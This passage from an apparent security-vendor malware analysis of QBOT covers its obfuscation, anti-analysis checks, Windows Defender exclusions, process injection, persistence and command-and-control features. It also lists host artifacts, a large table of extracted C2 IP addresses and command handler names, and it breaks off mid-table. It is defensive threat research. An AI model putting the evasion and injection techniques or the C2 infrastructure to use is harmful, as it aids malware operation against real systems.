feasible.\"}),`\n`,(0,n.jsx)(e.h2,{id:\"features\",children:\"Features\"}),`\n`,(0,n.jsx)(e.h3,{id:\"mersenne-twister-random-number-generator\",children:\"Mersenne Twister Random Number Generator\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"QBOT uses an implementation of \",(0,n.jsx)(e.a,{href:\"https://www.sciencedirect.com/topics/computer-science/mersenne-twister\",rel:\"nofollow\",children:\"Mersenne Twister Random Number Generator\"}),\" (MTRNG) to generate random values:\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/qbot-malware-analysis/19qbot.jpg\",alt:\"QBOT's Mersenne Twister Random Number Generator implementation\",width:\"729\",height:\"256\"})}),`\n`,(0,n.jsx)(e.p,{children:\"The MTRNG engine is then used by various functions to generate different types of data, for example for generating registry key values and persistence folders. As QBOT needs to reproduce values, it will almost always use the computer fingerprint and a \\u201Csalt\\u201D specific to the value it wants to generate:\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/qbot-malware-analysis/20qbot.jpg\",alt:\"QBOT generating random event name with fixed seed and salt\",width:\"625\",height:\"51\"})}),`\n`,(0,n.jsx)(e.h3,{id:\"string-obfuscation\",children:\"String obfuscation\"}),`\n`,(0,n.jsx)(e.p,{children:\"All QBOT strings are XOR-encrypted and concatenated in a single blob we call a \\u201Cstring bank\\u201D. To get a specific string the malware needs a string identifier (identifier being an offset in the string bank), a decryption key, and the targeted string bank.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/qbot-malware-analysis/1qbot.png\",alt:\"GetStringAux function prototype.\",width:\"715\",height:\"495\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"As this sample has two string banks, it has four \",(0,n.jsx)(e.strong,{children:\"GetString\"}),\"' functions currying the string bank and the decryption key parameters: One C string function and one wide string function for each string bank. Wide string functions use the same string banks, but convert the data to \",(0,n.jsx)(e.strong,{children:\"utf-16\"}),\".\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/qbot-malware-analysis/2qbot.png\",alt:\"QBOT calling GetString function\",width:\"861\",height:\"418\"})}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/qbot-malware-analysis/3qbot.jpg\",alt:\"GetString function currying GetStringAux with string bank and key parameters\",width:\"789\",height:\"38\"})}),`\n`,(0,n.jsx)(e.p,{children:\"See Appendix C (String Deciphering Implementation).\"}),`\n`,(0,n.jsx)(e.h3,{id:\"import-obfuscation\",children:\"Import obfuscation\"}),`\n`,(0,n.jsx)(e.p,{children:\"QBOT resolves its imports using a hash table:\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/qbot-malware-analysis/4qbot.jpg\",alt:\"QBOT calling GetApi function\",width:\"320\",height:\"274\"})}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/qbot-malware-analysis/25qbot.jpg\",alt:\"GetApi function prototype\",width:\"632\",height:\"20\"})}),`\n`,(0,n.jsx)(e.p,{children:\"The malware resolves the library name through its GetString function and then resolves the hash table with a classic library\\u2019s exports via manual parsing, comparing each export to the expected hash. In this sample, the hashing comparison algorithm use this formula:\"}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`**CRC32(exportName) XOR 0x218fe95b == hash**\n`})}),`\n`,(0,n.jsx)(e.h3,{id:\"resource-obfuscation\",children:\"Resource obfuscation\"}),`\n`,(0,n.jsx)(e.p,{children:\"The malware is embedded with different resources, the common ones are the configuration and the domains list. Resources are encrypted the same way: The decryption key may be either embedded within the data blob or provided. Once the resource is decrypted, an embedded hash is used to check data validity.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/qbot-malware-analysis/26qbot.jpg\",alt:\"QBOT decrypting its resource with embedded or provided key\",width:\"815\",height:\"275\"})}),`\n`,(0,n.jsx)(e.p,{children:\"See Appendix D (Resource Deciphering Implementation).\"}),`\n`,(0,n.jsx)(e.h3,{id:\"cyrillic-keyboard-language-detection\",children:\"Cyrillic keyboard language detection\"}),`\n`,(0,n.jsx)(e.p,{children:\"At different stages, QBOT will check if the computer uses a Cyrillic language keyboard. If it does, it prevents further execution.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/qbot-malware-analysis/7qbot.png\",alt:\"Set of languages QBOT is looking to stop its execution\",width:\"1032\",height:\"591\"})}),`\n`,(0,n.jsx)(e.h3,{id:\"avgavast-special-behavior\",children:\"AVG/AVAST special behavior\"}),`\n`,(0,n.jsx)(e.p,{children:\"AVG and Avast share the same antivirus engine. Thus if QBOT detects one of those antivirus running, it will also check at the installation stage if one of their DLLs is loaded within the malware memory space. If so, QBOT will skip the installation phase.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/qbot-malware-analysis/8qbot.png\",alt:\"QBOT checking if AVG/AVAST has hooked its process\",width:\"725\",height:\"565\"})}),`\n`,(0,n.jsx)(e.h3,{id:\"windows-defender-special-behavior\",children:\"Windows Defender special behavior\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"If QBOT is running under \",(0,n.jsx)(e.strong,{children:\"SYSTEM\"}),\" account, it will add its persistence folder to the Windows Defender exclusion path in the registry. It will also do this for the legacy Microsoft Security Essential (MSE) exclusion path if detected.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/qbot-malware-analysis/29qbot.jpg\",alt:\"QBOT adding its persistence folder to Windows Defender and MSE exclusion paths\",width:\"583\",height:\"190\"})}),`\n`,(0,n.jsx)(e.h3,{id:\"exception-list-process-watchdog\",children:\"Exception list process watchdog\"}),`\n`,(0,n.jsx)(e.p,{children:\"Each second, QBOT parses running processes looking for one matching the hardcoded exception list. If any is found, a \\u201Cfuse\\u201D value is set in the registry and the watchdog stops. If this fuse value is set, QBOT will not stop execution\\u2013 but at the third stage, the malware will use randomly generated IP and won't be able to contact C2.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/qbot-malware-analysis/30qbot.jpg\",alt:\"Watchdog thread setting fuse if any Exceptionlisted process is detected\",width:\"936\",height:\"166\"})}),`\n`,(0,n.jsx)(e.p,{children:\"![QBOT using randomly generated IP address if fuse is set]/assets/images/qbot-malware-analysis/1qbot.png)\"}),`\n`,(0,n.jsx)(e.h3,{id:\"qbot-process-injection\",children:\"QBOT process injection\"}),`\n`,(0,n.jsx)(e.h4,{id:\"second-stage-injection\",children:\"Second stage injection\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"To inject its second stage into one of a hardcoded target, QBOT uses a classic \",(0,n.jsx)(e.strong,{children:\"CreateProcess\"}),\" , \",(0,n.jsx)(e.strong,{children:\"WriteProcessMemory\"}),\" , \",(0,n.jsx)(e.strong,{children:\"ResumeProcess\"}),\" DLL injection technique. The malware will create a process, allocate and write the QBOT binary within the process memory, write a copy of its engine, and patch the entry point to jump to a special function. This function performs a light initialization of QBOT and its engine within the new process environment, alerts the main process of its success, and then execute the second stage.\"]}),`\n`,(0,n.jsx)(e.p,{children:\"![QBOT second stage injection]/assets/images/qbot-malware-analysis/2qbot.png)\"}),`\n`,(0,n.jsx)(e.p,{children:\"![QBOT injection entry point]/assets/images/qbot-malware-analysis/3qbot.jpg)\"}),`\n`,(0,n.jsx)(e.h4,{id:\"injecting-library-from-command-and-control\",children:\"Injecting library from command and control\"}),`\n`,(0,n.jsx)(e.p,{children:\"QBOT uses the aforementioned method to inject libraries received from C2. The difference is that as well as mapping itself, the malware will also map the received binary and use a library loader as entry point.\"}),`\n`,(0,n.jsx)(e.p,{children:\"![QBOT DLL loader injection]/assets/images/qbot-malware-analysis/4qbot.jpg)\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/qbot-malware-analysis/35qbot.jpg\",alt:\"QBOT Dll loader entrypoint\",width:\"662\",height:\"183\"})}),`\n`,(0,n.jsx)(e.h3,{id:\"multi-user-installation\",children:\"Multi-user installation\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"Part of the QBOT installation process is installing itself within others users\\u2019 accounts. To do so, the malware enumerates each user with an account on the machine (local and domain), then dumps its configuration under the user\\u2019s \",(0,n.jsx)(e.strong,{children:\"Software\\\\Microsoft\"}),\" registry key, creates a persistence folder under the users\\u2019 \",(0,n.jsx)(e.strong,{children:\"%APPDATA%\\\\Microsoft\"}),\" folder, and finally tries to either launch QBOT under the user session if the session exist, or else creates a run key to launch the malware when the user will log in.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/qbot-malware-analysis/36qbot.jpg\",alt:\"QBOT installation \u0026 run for one user\",width:\"871\",height:\"327\"})}),`\n`,(0,n.jsx)(e.h3,{id:\"dynamic-persistence\",children:\"Dynamic persistence\"}),`\n`,(0,n.jsx)(e.p,{children:\"QBOT registers a window handler to monitor suspend/resume events. When they occur, the malware will install/uninstall persistence.\"}),`\n`,(0,n.jsx)(e.p,{children:\"![QBOT window handler registration]/assets/images/qbot-malware-analysis/7qbot.png)\"}),`\n`,(0,n.jsx)(e.p,{children:\"![QBOT window handler catching suspend/resume event]/assets/images/qbot-malware-analysis/8qbot.png)\"}),`\n`,(0,n.jsx)(e.p,{children:\"QBOT registers a console event to handle shutdown/reboot events as well.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/qbot-malware-analysis/39qbot.jpg\",alt:\"QBOT registering console handler\",width:\"785\",height:\"136\"})}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/qbot-malware-analysis/40qbot.jpg\",alt:\"QBOT console handler catching shutdown/reboot event\",width:\"645\",height:\"168\"})}),`\n`,(0,n.jsx)(e.h3,{id:\"command-and-control-public-key-pinning\",children:\"Command and control public key pinning\"}),`\n`,(0,n.jsx)(e.p,{children:\"QBOT has a mechanism to verify the signature of every message received from its command and control. The verification mechanism is based on a public key embedded in the sample. This public key could be used to identify the campaign the sample belongs to, but this mechanism may not always be present.\"}),`\n`,(0,n.jsx)(e.p,{children:\"![QBOT command and control message processing]/assets/images/qbot-malware-analysis/1qbot.png)\"}),`\n`,(0,n.jsx)(e.p,{children:\"![Message signature verification with hardcoded command and control public key]/assets/images/qbot-malware-analysis/2qbot.png)\"}),`\n`,(0,n.jsx)(e.p,{children:\"The public key comes from a hardcoded XOR-encrypted data blob.\"}),`\n`,(0,n.jsx)(e.p,{children:\"![Hardcoded command and control public key being XOR-decrypted]/assets/images/qbot-malware-analysis/3qbot.jpg)\"}),`\n`,(0,n.jsx)(e.h3,{id:\"computer-information-gathering\",children:\"Computer information gathering\"}),`\n`,(0,n.jsx)(e.p,{children:\"Part of QBOT communication with its command and control is sending information about the computer. Information are gathered through a set Windows API calls, shell commands and Windows Management Instrumentation (WMI) commands:\"}),`\n`,(0,n.jsx)(e.p,{children:\"![Computer information gathering 1/2]/assets/images/qbot-malware-analysis/4qbot.jpg)\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/qbot-malware-analysis/45qbot.jpg\",alt:\"Computer information gathering 2/2\",width:\"950\",height:\"176\"})}),`\n`,(0,n.jsx)(e.p,{children:\"One especially interesting procedure listed installed antivirus via WMI:\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/qbot-malware-analysis/46qbot.jpg\",alt:\"QBOT listing installed antivirus via a WMI command\",width:\"639\",height:\"332\"})}),`\n`,(0,n.jsx)(e.h3,{id:\"update-mechanism\",children:\"Update mechanism\"}),`\n`,(0,n.jsx)(e.p,{children:\"QBOT can receive updates from its command and control. The new binary will be written to disk, executed through a command line, and the main process will terminate.\"}),`\n`,(0,n.jsx)(e.p,{children:\"![QBOT writing to disk and running the updated binary]/assets/images/qbot-malware-analysis/7qbot.png)\"}),`\n`,(0,n.jsx)(e.p,{children:\"![QBOT stopping execution if update is running]/assets/images/qbot-malware-analysis/8qbot.png)\"}),`\n`,(0,n.jsx)(e.h3,{id:\"process-injection-manager\",children:\"Process injection manager\"}),`\n`,(0,n.jsx)(e.p,{children:\"QBOT has a system to keep track of processes injected with binaries received from its command and control in order to manage them as the malware receives subsequent commands. It also has a way to serialize and save those binaries on disk in case it has to stop execution and recover execution when restarted.\"}),`\n`,(0,n.jsx)(e.p,{children:\"To do this bookkeeping, QBOT maintains two global structures \\u2014 a list of all binaries received from its command and control, and a list of running injected processes:\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/qbot-malware-analysis/49qbot.jpg\",alt:\"QBOT\\u2019s list of DLL to inject received from its command and control.\",width:\"702\",height:\"243\"})}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/qbot-malware-analysis/50qbot.jpg\",alt:\"QBOT\\u2019s list of running injected processes\",width:\"543\",height:\"61\"})}),`\n`,(0,n.jsx)(e.h2,{id:\"conclusion\",children:\"Conclusion\"}),`\n`,(0,n.jsx)(e.p,{children:\"The QBOT malware family is highly active and still part of the threat landscape in 2022 due to its features and its powerful modular system. While initially characterized as an information stealer in 2007, this family has been leveraged as a delivery mechanism for additional malware and post-compromise activity.\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"Elastic Security provides out-of-the-box prevention capabilities against this threat. Existing Elastic Security users can access these capabilities within the product. If you\\u2019re new to Elastic Security, take a look at our \",(0,n.jsx)(e.a,{href:\"https://www.elastic.co/training/free#quick-starts\",rel:\"nofollow\",children:\"Quick Start guides\"}),\" (bite-sized training videos to get you started quickly) or our \",(0,n.jsx)(e.a,{href:\"https://www.elastic.co/training/free#fundamentals\",rel:\"nofollow\",children:\"free fundamentals training courses\"}),\". You can always get started with a \",(0,n.jsx)(e.a,{href:\"https://cloud.elastic.co/registration?elektra=whats-new-elastic-security-7-16-blog\",rel:\"nofollow\",children:\"free 14-day trial of Elastic Cloud\"}),\".\"]}),`\n`,(0,n.jsx)(e.h2,{id:\"mitre-attck-tactics-and-techniques\",children:\"MITRE ATT\u0026CK Tactics and Techniques\"}),`\n`,(0,n.jsx)(e.p,{children:\"MITRE ATT\u0026CK is a globally-accessible knowledge base of adversary tactics and techniques based on real-world observations. The ATT\u0026CK knowledge base is used as a foundation for the development of specific threat models and methodologies in the private sector, in government, and in the cybersecurity product and service community.\"}),`\n`,(0,n.jsx)(e.h3,{id:\"tactics\",children:\"Tactics\"}),`\n`,(0,n.jsx)(e.p,{children:\"Tactics represent the why of a technique or sub-technique. It is the adversary\\u2019s tactical goal: the reason for performing an action.\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsxs)(e.li,{children:[\"Tactic: \",(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0004\",rel:\"nofollow\",children:\"Privilege Escalation\"})]}),`\n`,(0,n.jsxs)(e.li,{children:[\"Tactic: \",(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0005\",rel:\"nofollow\",children:\"Defense Evasion\"})]}),`\n`,(0,n.jsxs)(e.li,{children:[\"Tactic: \",(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0007\",rel:\"nofollow\",children:\"Discovery\"})]}),`\n`,(0,n.jsxs)(e.li,{children:[\"Tactic: \",(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0011\",rel:\"nofollow\",children:\"Command and Control\"})]}),`\n`]}),`\n`,(0,n.jsx)(e.h3,{id:\"techniques--sub-techniques\",children:\"Techniques / Sub Techniques\"}),`\n`,(0,n.jsx)(e.p,{children:\"Techniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action.\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsxs)(e.li,{children:[\"Technique: \",(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1055\",rel:\"nofollow\",children:\"Process Injection\"}),\" (T1055)\"]}),`\n`,(0,n.jsxs)(e.li,{children:[\"Technique: \",(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1112\",rel:\"nofollow\",children:\"Modify Registry\"}),\" (T1112)\"]}),`\n`,(0,n.jsxs)(e.li,{children:[\"Technique: \",(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1027\",rel:\"nofollow\",children:\"Obfuscated Files or Information\"}),\" (T1027)\"]}),`\n`,(0,n.jsxs)(e.li,{children:[\"Technique: \",(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1027/005\",rel:\"nofollow\",children:\"Obfuscated Files or Information: Indicator Removal from Tools\"}),\" (T1027.005)\"]}),`\n`,(0,n.jsxs)(e.li,{children:[\"Technique: \",(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1218/010\",rel:\"nofollow\",children:\"System Binary Proxy Execution: Regsvr32\"}),\" (T1218.010)\",(0,n.jsx)(e.br,{}),`\n`,\"Technique: \",(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1010\",rel:\"nofollow\",children:\"Application Window Discovery\"}),\" (T1010)\"]}),`\n`,(0,n.jsxs)(e.li,{children:[\"Technique: \",(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1083\",rel:\"nofollow\",children:\"File and Directory Discovery\"}),\" (T1083)\"]}),`\n`,(0,n.jsxs)(e.li,{children:[\"Technique: \",(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1082\",rel:\"nofollow\",children:\"System Information Discovery\"}),\" (T1082)\"]}),`\n`,(0,n.jsxs)(e.li,{children:[\"Technique: \",(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1614\",rel:\"nofollow\",children:\"System Location Discovery\"}),\" (T1614)\"]}),`\n`,(0,n.jsxs)(e.li,{children:[\"Technique: \",(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1518/001\",rel:\"nofollow\",children:\"Software Discovery: Security Software Discovery\"}),\" (T1518.001)\"]}),`\n`,(0,n.jsxs)(e.li,{children:[\"Technique: \",(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1033\",rel:\"nofollow\",children:\"System Owner/User Discovery\"}),\" (T1033)\"]}),`\n`,(0,n.jsxs)(e.li,{children:[\"Technique: \",(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1071/001\",rel:\"nofollow\",children:\"Application Layer Protocol: Web Protocols\"}),\" (T1071.001)\"]}),`\n`]}),`\n`,(0,n.jsx)(e.h2,{id:\"observations\",children:\"Observations\"}),`\n`,(0,n.jsx)(e.p,{children:\"While not specific enough to be considered indicators of compromise, the following information was observed during analysis that can help when investigating suspicious events.\"}),`\n`,(0,n.jsx)(e.h3,{id:\"file-system\",children:\"File System\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.strong,{children:\"Persistence folder\"})}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`**%APPDATA%\\\\Microsoft\\\\[Random Folder]**\n`})}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.strong,{children:\"Example:\"})}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`**C:\\\\Users\\\\Arx\\\\AppData\\\\Roaming\\\\Microsoft\\\\Vuhys**\n`})}),`\n`,(0,n.jsx)(e.h3,{id:\"registry\",children:\"Registry\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.strong,{children:\"Scan Exclusion\"})}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`**HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows Defender\\\\Exclusions\\\\Paths\\\\[Persistence Folder]**\n`})}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.strong,{children:\"Example:\"})}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`**HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows Defender\\\\Exclusions\\\\Paths\\\\C:\\\\Users\\\\Arx\\\\AppData\\\\Roaming\\\\Microsoft\\\\Blqgeaf**\n`})}),`\n`,(0,n.jsx)(e.h3,{id:\"configuration\",children:\"Configuration\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.strong,{children:\"Configuration\"})}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`**HKU\\\\[User SID]\\\\Software\\\\Microsoft\\\\[Random Key]\\\\[Random Value 0]**\n`})}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.strong,{children:\"Example:\"})}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`**HKU\\\\S-1-5-21-2844492762-1358964462-3296191067-1000\\\\Software\\\\Microsoft\\\\Silhmfua\\\\28e2a7e8**\n`})}),`\n`,(0,n.jsx)(e.h2,{id:\"appendices\",children:\"Appendices\"}),`\n`,(0,n.jsx)(e.h3,{id:\"appendix-a-extracted-network-infrastructure\",children:\"Appendix A (extracted network infrastructure)\"}),`\n`,(0,n.jsx)(e.div,{className:\"table-container\",children:(0,n.jsxs)(e.table,{children:[(0,n.jsx)(e.thead,{children:(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.th,{}),(0,n.jsx)(e.th,{}),(0,n.jsx)(e.th,{})]})}),(0,n.jsx)(e.tbody,{children:(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"1.161.71.109:4431.161.71.109:995100.1.108.246:443101.50.103.193:995102.182.232.3:995103.107.113.120:443103.139.243.207:990103.246.242.202:443103.87.95.133:2222103.88.226.30:443105.226.83.196:995108.60.213.141:443109.12.111.14:443109.228.220.196:443113.11.89.165:995117.248.109.38:21120.150.218.241:995120.61.2.95:443121.74.167.191:995125.168.47.127:2222138.204.24.70:443140.82.49.12:443140.82.63.183:443140.82.63.183:995143.0.34.185:443144.202.2.175:443144.202.2.175:995144.202.3.39:443144.202.3.39:995148.64.96.100:443149.28.238.199:443149.28.238.199:995172.114.160.81:995172.115.177.204:2222173.174.216.62:443173.21.10.71:2222174.69.215.101:443175.145.235.37:443176.205.119.81:2078176.67.56.94:443176.88.238.122:995179.158.105.44:443180.129.102.214:995180.183.128.80:2222181.118.183.98:443181.208.248.227:443181.62.0.59:443182.191.92.203:995182.253.189.74:2222185.69.144.209:443\"}),(0,n.jsx)(e.td,{children:\"186.105.121.166:443187.102.135.142:2222187.207.48.194:61202187.250.114.15:443187.251.132.144:22190.252.242.69:443190.73.3.148:2222191.17.223.93:32101191.34.199.129:443191.99.191.28:443196.233.79.3:80197.167.62.14:993197.205.127.234:443197.89.108.252:4432.50.137.197:443201.145.189.252:443201.211.64.196:2222202.134.152.2:2222203.122.46.130:443208.107.221.224:443209.197.176.40:995217.128.122.65:2222217.164.210.192:443217.165.147.83:99324.178.196.158:222224.43.99.75:44331.35.28.29:44331.48.166.122:207832.221.224.140:99537.186.54.254:99537.34.253.233:44338.70.253.226:222239.41.158.185:99539.44.144.159:99539.52.75.201:99539.57.76.82:99540.134.246.185:99541.228.22.180:44341.230.62.211:99341.38.167.179:99541.84.237.10:99542.235.146.7:222245.241.232.25:99545.46.53.140:222245.63.1.12:44345.63.1.12:99545.76.167.26:44345.76.167.26:99545.9.20.200:44346.107.48.202:443\"}),(0,n.jsx)(e.td,{children:\"47.156.191.217:44347.180.172.159:44347.180.172.159:5001047.23.89.62:99347.23.89.62:9955.32.41.45:4435.95.58.211:208766.98.42.102:44367.209.195.198:44368.204.7.158:44370.46.220.114:44370.51.138.126:222271.13.93.154:222271.74.12.34:44372.12.115.90:2272.252.201.34:99572.76.94.99:44373.151.236.31:44373.67.152.98:222274.15.2.252:222275.113.214.234:222275.99.168.194:44375.99.168.194:6120176.169.147.192:3210376.25.142.196:44376.69.155.202:222276.70.9.169:222278.87.206.213:99580.11.74.81:222281.215.196.174:44382.152.39.39:44383.110.75.97:222284.241.8.23:3210385.246.82.244:44386.97.11.43:44386.98.208.214:222286.98.33.141:44386.98.33.141:99588.228.250.126:44389.211.181.64:222290.120.65.153:207891.177.173.10:99592.132.172.197:222293.48.80.198:99594.36.195.250:222294.59.138.62:119494.59.138.62:222296.21.251.127:222296.29.208.97:44396.37.113.36:993\"})]})})]})}),`\n`,(0,n.jsx)(e.h3,{id:\"appendix-b-command-handlers\",children:\"Appendix B (command handlers)\"}),`\n`,(0,n.jsx)(e.div,{className:\"table-container\",children:(0,n.jsxs)(e.table,{children:[(0,n.jsx)(e.thead,{children:(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.th,{children:\"Id\"}),(0,n.jsx)(e.th,{children:\"Handler\"})]})}),(0,n.jsxs)(e.tbody,{children:[(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"0x1\"}),(0,n.jsx)(e.td,{children:\"MARE::rpc::handler::CommunicateWithC2\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"0x6\"}),(0,n.jsx)(e.td,{children:\"MARE::rpc::handler::EnableGlobalRegistryConfigurationValuek0x14\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"0x7\"}),(0,n.jsx)(e.td,{children:\"MARE::rpc::handler::DisableGlobalRegistryConfigurationValuek0x14\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"0xa\"}),(0,n.jsx)(e.td,{children:\"MARE::rpc::handler::KillProcess\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"0xc\"}),(0,n.jsx)(e.td,{children:\"MARE::rpc::handler::SetBunchOfGlobalRegistryConfigurationValuesAndTriggerEvent1\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"0xd\"}),(0,n.jsx)(e.td,{children:\"MARE::rpc::handler::SetBunchOfGlobalRegistryConfigurationValuesAndTriggerEvent0\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"0xe\"}),(0,n.jsx)(e.td,{children:\"MARE::rpc::handler::DoEvasionMove\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"0x12\"}),(0,n.jsx)(e.td,{children:\"MARE::rpc::handler::NotImplemented\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"0x13\"}),(0,n.jsx)(e.td,{children:\"MARE::rpc::handler::UploadAndRunUpdatedQBOT0\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"0x14\"}),(0,n.jsx)(e.td,{children:\"MARE::rpc::handler::Unk0\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"0x15\"}),(0,n.jsx)(e.td,{children:\"MARE::rpc::handler::Unk1\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"0x19\"}),(0,n.jsx)(e.td,{children:\"MARE::rpc::handler::UploadAndExecuteBinary\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"0x1A\"}),(0,n.jsx)(e.td,{children:\"MARE::rpc::handler::UploadAndInjectDll0\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"0x1B\"}),(0,n.jsx)(e.td,{children:\"MARE::rpc::handler::DoInjectionFromDllToInjectByStr\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"0x1C\"}),(0,n.jsx)(e.td,{children:\"MARE::rpc::handler::KillInjectedProcessAndDisableDllToInject\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"0x1D\"}),(0,n.jsx)(e.td,{children:\"MARE::rpc::handler::Unk3\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"0x1E\"}),(0,n.jsx)(e.td,{children:\"MARE::rpc::handler::KillInjectedProcessAndDoInjectionAgainByStr\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"0x1F\"}),(0,n.jsx)(e.td,{children:\"MARE::rpc::handler::FastInjectdll\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"0x21\"}),(0,n.jsx)(e.td,{children:\"MARE::rpc::handler::ExecuteShellCmd\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"0x23\"}),(0,n.jsx)(e.td,{children:\"MARE::rpc::handler::UploadAndInjectDll1\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"0x24\"}),(0,n.jsx)(e.td,{children:\"MARE::rpc::handler::UploadAndRunUpdatedQBOT1\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"0x25\"}),(0,n.jsx)(e.td,{children:\"MARE::rpc::handler::SetValueToGlobalRegistryConfiguration\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"0x26\"}),(0,n.jsx)(e.td,{children:\"MARE::rpc::handler::DeleteValueFromGlobalRegistryConfiguration\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"0x27\"}),(0,n.jsx)(e.td,{children:\"MARE::rpc::handler::ExecutePowershellCmd\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"0x28\"}),(0,n.jsx)(e.td,{children:\"MARE::rpc::handler::U